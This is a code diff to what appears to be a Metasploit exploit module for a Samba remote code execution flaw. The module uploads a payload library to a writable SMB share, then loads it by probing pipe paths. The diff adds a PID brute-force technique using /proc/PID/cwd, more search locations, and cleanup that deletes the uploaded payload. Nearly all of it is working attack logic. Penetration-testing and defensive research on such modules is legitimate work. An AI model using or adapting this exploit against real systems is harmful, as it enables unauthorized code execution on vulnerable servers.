@@ -25,6 +25,7 @@ def initialize(info = {})
25
25
'steelo <knownsteelo[at]gmail.com>' , # Vulnerability Discovery
26
26
'hdm' , # Metasploit Module
27
27
'Brendan Coles <bcoles[at]gmail.com>' , # Check logic
28
+ 'Tavis Ormandy <taviso[at]google.com>' , # PID hunting technique
28
29
] ,
29
30
'License' => MSF_LICENSE ,
30
31
'References' =>
@@ -58,6 +59,11 @@ def initialize(info = {})
58
59
OptString . new ( 'SMB_SHARE_BASE' , [ false , 'The remote filesystem path correlating with the SMB share name' ] ) ,
59
60
OptString . new ( 'SMB_FOLDER' , [ false , 'The directory to use within the writeable SMB share' ] ) ,
60
61
] )
62
+
63
+ register_advanced_options (
64
+ [
65
+ OptBool . new ( 'BruteforcePID' , [ false , 'Attempt to use two connections to bruteforce the PID working directory' , false ] ) ,
66
+ ] )
61
67
end
62
68
63
69
@@ -67,7 +73,10 @@ def generate_common_locations
67
73
candidates << datastore [ 'SMB_SHARE_BASE' ]
68
74
end
69
75
70
- %W{ /volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared } . each do |base_name |
76
+ %W{ /volume1 /volume2 /volume3 /volume4
77
+ /shared /mnt /mnt/usb /media /mnt/media
78
+ /var/samba /tmp /home /home/shared
79
+ } . each do |base_name |
71
80
candidates << base_name
72
81
candidates << [ base_name , @share ]
73
82
candidates << [ base_name , @share . downcase ]
@@ -174,9 +183,9 @@ def enumerate_shares_lanman
174
183
shares
175
184
end
176
185
177
- def probe_module_path ( path )
186
+ def probe_module_path ( path , simple_client = self . simple )
178
187
begin
179
- simple . create_pipe ( path )
188
+ simple_client . create_pipe ( path )
180
189
rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => e
181
190
vprint_error ( "Probe: #{ path } : #{ e } " )
182
191
end
@@ -251,24 +260,54 @@ def upload_payload
251
260
end
252
261
253
262
def find_payload
254
- print_status ( "Payload is stored in //#{ rhost } /#{ @share } /#{ @path } as #{ @payload_name } " )
255
263
256
264
# Reconnect to IPC$
257
265
simple . connect ( "\\ \\ #{ rhost } \\ IPC$" )
258
266
259
- #
260
- # In a perfect world we would find a way make IPC$'s associated CWD
261
- # change to our share path, which would allow the following code:
262
- #
263
- # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
264
- #
265
-
266
- # Until we find a better way, brute force based on common paths
267
+ # Look for common paths first, since they can be a lot quicker than hunting PIDs
268
+ print_status ( "Hunting for payload using common path names: #{ @payload_name } - //#{ rhost } /#{ @share } /#{ @path } " )
267
269
generate_common_locations . each do |location |
268
270
target = [ location , @path , @payload_name ] . join ( "/" ) . gsub ( /\/ +/ , '/' )
269
271
print_status ( "Trying location #{ target } ..." )
270
272
probe_module_path ( target )
271
273
end
274
+
275
+ # Exit early if we already have a session
276
+ return if session_created?
277
+
278
+ return unless datastore [ 'BruteforcePID' ]
279
+
280
+ # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
281
+ # to non-root, but their /proc/pid directories are still owned by root. Tryign to
282
+ # read the /proc/other-pid/cwd/target.so results in permission denied. There is a
283
+ # good chance that this still works on some embedded systems and odd-ball Linux.
284
+
285
+ # Use the PID hunting strategy devised by Tavis Ormandy
286
+ print_status ( "Hunting for payload using PID search: #{ @payload_name } - //#{ rhost } /#{ @share } /#{ @path } (UNLIKELY TO WORK!)" )
287
+
288
+ # Configure the main connection to have a working directory of the file share
289
+ simple . connect ( "\\ \\ #{ rhost } \\ #{ @share } " )
290
+
291
+ # Use a second connection to brute force the PID of the first connection
292
+ probe_conn = connect ( false )
293
+ smb_login ( probe_conn )
294
+ probe_conn . connect ( "\\ \\ #{ rhost } \\ #{ @share } " )
295
+ probe_conn . connect ( "\\ \\ #{ rhost } \\ IPC$" )
296
+
297
+ # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
298
+ 2 . upto ( 32768 ) do |pid |
299
+
300
+ # Look for the PID associated with our main SMB connection
301
+ target = [ "/proc/#{ pid } /cwd" , @path , @payload_name ] . join ( "/" ) . gsub ( /\/ +/ , '/' )
302
+ vprint_status ( "Trying PID with target path #{ target } ..." )
303
+ probe_module_path ( target , probe_conn )
304
+
305
+ # Keep our main connection alive
306
+ if pid % 1000 == 0
307
+ self . simple . client . find_first ( "\\ *" )
308
+ end
309
+ end
310
+
272
311
end
273
312
274
313
def check
@@ -331,7 +370,18 @@ def exploit
331
370
upload_payload
332
371
333
372
# Find and execute the payload from the share
334
- find_payload rescue Rex ::StreamClosedError
373
+ begin
374
+ find_payload
375
+ rescue Rex ::StreamClosedError , Rex ::Proto ::SMB ::Exceptions ::NoReply
376
+ end
377
+
378
+ # Cleanup the payload
379
+ begin
380
+ simple . connect ( "\\ \\ #{ rhost } \\ #{ @share } " )
381
+ uploaded_path = @path . length == 0 ? "\\ #{ @payload_name } " : "\\ #{ @path } \\ #{ @payload_name } "
382
+ simple . delete ( uploaded_path )
383
+ rescue Rex ::StreamClosedError , Rex ::Proto ::SMB ::Exceptions ::NoReply
384
+ end
335
385
336
386
# Shutdown
337
387
disconnect
0 commit comments